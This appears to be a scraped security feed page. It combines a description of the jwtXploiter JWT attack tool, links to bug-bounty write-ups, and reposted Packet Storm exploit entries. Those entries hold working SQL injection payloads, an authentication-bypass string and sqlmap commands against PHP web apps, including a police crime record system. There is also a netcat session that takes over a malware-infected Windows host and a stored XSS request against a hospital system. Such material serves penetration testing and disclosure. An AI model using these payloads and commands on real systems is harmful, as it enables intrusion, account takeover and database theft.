jwtXploiter - A Tool To Test Security Of Json Web Token
http://www.kitploit.com/2021/08/jwtxploiter-tool-to-test-security-of.html

A tool to test security of JSON Web Tokens. Test a JWT against all known CVEs; Tamper with the token payload: changes claims and subclaims values. Exploit known vulnerable (https://www.kitploit.com/search/label/Vulnerable) header claims (kid, jku, x5u) Verify a token Retrieve the public key of your target's ssl connection and try to use it in a key confusion attack with one option only All JWAs supported Generates a JWK and insert it in the token header And much, much more!
Wiki
Read the wiki! wiki (https://github.com/DontPanicO/jwtXploiter/wiki)
Installation
N.B. Cloning the repository should be avoided except for development purposes! N.B. Deb package has to be considered beta With rpm: wget http://andreatedeschi.uno/jwtxploiter/jwtxploiter-1.2.1-1.noarch.rpm
sudo rpm --install jwtxploiter-1.2.1-1.noarch.rpm or, if previous version is installed on your machine sudo rpm --upgrade jwtxploiter-1.2.1-1.noarch.rpm With pip: sudo pip install jwtxploiter With deb: wget http://andreatedeschi.uno/jwtxploiter/jwtxploiter_1.2.1-1_all.deb
sudo dpkg -i jwtxploiter_1.2.1-1_all.deb Cloing the repo: git clone https://github.com/DontPanicO/jwtXploiter.git
./install.sh N.B. python3-pip package is required to install dependencies, be sure to have it installed.
Who this tool is written for?
Web Application Penetration Tester / Bug Bounty Hunters This tool has been written with the aim of become a key part of pentesters (https://www.kitploit.com/search/label/Pentesters) toolkit. Devs who need to test the secuirty of JWTs used in their applications CTF Players Not For Students Since this tool automates lot of stuff, without force the user to know what's happening under the hood, it won't help you to understand the vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) it exploits.
To Know
For attacks that generates a jwks file, you could find it in the current working directory. Remeber to deletes such files in order to avoid conflicts. For jku/x5u injection (https://www.kitploit.com/search/label/Injection) that needs to merge two urls (the server vulnerable url and your one), the HERE keyword is required. For redirect attacks the keyword should replace the redirect url, e.g. http://app.com/foo?redirect=bar&some=thing --> http://app.com/foo?redirect=HERE&some=thing For jku/x5u injections via HTTP header injection attacks, the HERE keyword sould be appended to the vulnerable parameter, without replacing its value, e.g. http://app.com/foo?param=value --> http://app.com/foo?param=valueHERE Also, in such cases, be sure to pass the server url and your one as comma separated values. '/.well-known/jwks.json' is automatically appended to your url in jku/x5u attacks. So make sure to place the jwks file under this path on your server. If you don't want that happen, use the --manual option, but this option is compatible only with --jku-basic and --x5u-basic so, you will need to manually craft the url and pass it to those options, even for attacks that exploit Open Redirect (https://www.kitploit.com/search/label/Open%20Redirect) or HTTP header injection. Look at the wiki for a detailed documentation.

Download jwtXploiter (https://github.com/DontPanicO/jwtXploiter)

Taking Over Employee Accounts by Managers with Zero Employee Interaction
https://ahmdhalabi.medium.com/taking-over-employee-accounts-by-managers-with-zero-employee-interaction-b60784c3ad84?source=rss------bug_bounty-5

Hello,Continue reading on Medium » (https://ahmdhalabi.medium.com/taking-over-employee-accounts-by-managers-with-zero-employee-interaction-b60784c3ad84?source=rss------bug_bounty-5)

How we was able to takeover whole organization via Privilege Escalation
https://infosecwriteups.com/how-we-was-able-to-takeover-whole-organization-via-privilege-escalation-4f74b31a84a6?source=rss------bug_bounty-5

Hi everyone it’s Yasser again (AKA Neroli)Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/how-we-was-able-to-takeover-whole-organization-via-privilege-escalation-4f74b31a84a6?source=rss------bug_bounty-5)

Exploit Collector
RATES SYSTEM 1.0 SQL Injection

https://1.bp.blogspot.com/-5p3p8L1fqP0/WWlvePVRIQI/AAAAAAAAIPs/HQNau6TSJkE3hBLTqqPcfPLddrlr7m4uACLcBGAs/s1600/h81.png
RATES SYSTEM version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass. Original discovery of SQL injection in this version is attributed to Halit Akaydin in August of 2021.

MD5 | f86af52f20f70db508a4b33824dc75a5

Download
# Exploit Title: RATES SYSTEM 1.0 - Authentication Bypass
# Date: 2020-08-13
# Exploit Author: Azumah Foresight Xorlali (M4sk0ff)
# Vendor Homepage: https://www.sourcecodester.com/php/14904/rates-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14904&title=RATES+SYSTEM+in+PHP+Free+Source+Code
# Version: Version 1.0
# Category: Web Application
# Tested on: Kali Linux

Description: The authentication bypass vulnerability on the application allows an attacker to log in as Client. This vulnerability affects the "username" parameter on the client login page: http://localhost/rates/login.php

Step 1: On the login page, simply use the query inside the bracket ( ' OR 1 -- - ) as username

Step 2: On the login page, use same query{ ' OR 1 -- -} or anything as password

All set you should be logged in as Client.

Source:packetstormsecurity.com

Exploit Collector
HackTool.Win32.HKit Remote Command Execution

https://3.bp.blogspot.com/-ZdpKmdYlHbY/WWlu_uhv-yI/AAAAAAAAIKA/GrhbPhfNXpolamaXsSLRo9Cb0FKriXUgQCLcBGAs/s1600/h12.png
HackTool.Win32.HKit malware suffers from a remote command execution vulnerability.

MD5 | 5b66b28256e04ad95fd8ee3004cb2187

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6209db6e8cfd7c7a315ca858129bd226.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: HackTool.Win32.HKit
Vulnerability: Unauthenticated Remote Command Execution
Description: HaX0R'Z KiT -- v1.05 malware listens for telnet connections on a specified port. Third-party attackers who can reach the system can execute OS commands further compromising the already infected machine.
Type: PE32
MD5: 6209db6e8cfd7c7a315ca858129bd226
Vuln ID: MVID-2021-0319
Disclosure: 08/12/2021

Exploit/PoC:
HackTool.Win32.HKit.exe /telnetd 0.0.0.0 23

nc64.exe x.x.x.x 23
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Police Crime Record Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png
Police Crime Record Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 620d8d17e3d4a8026081f585435dcc5d

Download
# Exploit Title: Police Crime Record Management System 1.0 - 'casedetails' SQL Injection
# Date: 12/08/2021
# Exploit Author: Ömer Hasan Durmuş
# Software Link: https://www.sourcecodester.com/php/14894/police-crime-record-management-system.html
# Version: v1.0
# Category: Webapps
# Tested on: Linux/Windows

Step 1 : Login CID account in http://TARGET/ghpolice/login.php default credentials. (005:12345)
STEP 2 : Send the following request
or
Use sqlmap : python sqlmap.py -u "
http://TARGET/ghpolice/cid/casedetails.php?id=210728101"
--cookie="PHPSESSID=ev8vn1d1de5hjrv9273dunao8j" --dbs -vv

# Request

GET
/ghpolice/cid/casedetails.php?id=210728101'+AND+(SELECT+2115+FROM+(SELECT(SLEEP(5)))GQtj)+AND'gKJE'='gKJE
HTTP/1.1
Host: target.com
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://target.com/ghpolice/cid/
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=ev8vn1d1de5hjrv9273dunao8j
Connection: close

# Response after 5 seconds

HTTP/1.1 200 OK
Date: Thu, 12 Aug 2021 21:32:47 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.4.14
X-Powered-By: PHP/7.4.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 6913
Connection: close
Content-Type: text/html; charset=UTF-8
...
...
...

Source:packetstormsecurity.com

Exploit Collector
Simple Image Gallery System 1.0 SQL Injection

https://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png
Simple Image Gallery System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 9d5cd6db50da28da818f9d2b7ee62d33

Download
# Exploit Title: Simple Image Gallery System 1.0 - 'id' SQL Injection
# Date: 2020-08-12
# Exploit Author: Azumah Foresight Xorlali (M4sk0ff)
# Vendor Homepage: https://www.sourcecodester.com/php/14903/simple-image-gallery-web-app-using-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14903&title=Simple+Image+Gallery+Web+App+using+PHP+Free+Source+Code
# Version: Version 1.0
# Category: Web Application
# Tested on: Kali Linux

Description:
Simple Image Gallery System 1.0 application is vulnerable to
SQL injection via the "id" parameter on the album page.

POC:

Step 1. Login to the application with any verified user credentials

Step 2. Click on Albums page and select an albums if created or create
by clicking on "Add New" on the top right and select the album.

Step 3. Click on an image and capture the request in burpsuite.
Now copy the request and save it as test.req .

Step 4. Run the sqlmap command "sqlmap -r test.req --dbs

Step 5. This will inject successfully and you will have an information
disclosure of all databases contents.

---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3' AND 7561=7561 AND 'SzOW'='SzOW

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: id=3' OR (SELECT 9448 FROM(SELECT
COUNT(*),CONCAT(0x7178707071,(SELECT
(ELT(9448=9448,1))),0x71787a7171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'SXqA'='SXqA

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=3' AND (SELECT 1250 FROM (SELECT(SLEEP(5)))aNMX) AND
'qkau'='qkau
---

Source:packetstormsecurity.com

Exploit Collector
Care2x Open Source Hospital Information Management 2.7 Alpha XSS

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
Care2x Open Source Hospital Information Management version 2.7 Alpha suffers from multiple persistent cross site scripting vulnerabilities.

MD5 | dec039a436133a6e4c3f9ac9d4c3fdf2

Download
# Exploit Title: Care2x Open Source Hospital Information Management 2.7 Alpha - 'Multiple' Stored XSS
# Date: 13.08.2021
# Exploit Author: securityforeveryone.com
# Author Mail: hello[AT]securityforeveryone.com
# Vendor Homepage: https://care2x.org
# Software Link: https://sourceforge.net/projects/care2002/
# Version: =< 2.7 Alpha
# Tested on: Linux/Windows
# Researchers : Security For Everyone Team - https://securityforeveryone.com

'''

DESCRIPTION

Stored Cross Site Scripting(XSS) vulnerability in Care2x Hospital Information Management 2.7 Alpha. The vulnerability has found POST requests in /modules/registration_admission/patient_register.php page with "name_middle", "addr_str", "station", "name_maiden", "name_2", "name_3" parameters.
Example: /modules/registration_admission/patient_register.php POST request

Content-Disposition: form-data; name="date_reg"

2021-07-29 12:15:59
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="title"

asd
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_last"

asd
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_first"

asd
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_2"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_3"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_middle"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_maiden"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_others"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="date_birth"

05/07/2021
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="sex"

m
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="addr_str"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="addr_str_nr"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="addr_zip"

XSS
---------------------

If an attacker exploit this vulnerability, takeover any account wants.

Payload Used:

">

EXPLOITATION

1- Login to Care2x Panel
2- /modules/registration_admission/patient_register.php
3- Use the payload vulnerable parameters.
ABOUT SECURITY FOR EVERYONE TEAM

We are a team that has been working on cyber security in the industry for a long time.
In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix their vulnerabilities.
We have many free tools that you can use here: https://securityforeveryone.com/tools/free-security-tools

'''

Source:packetstormsecurity.com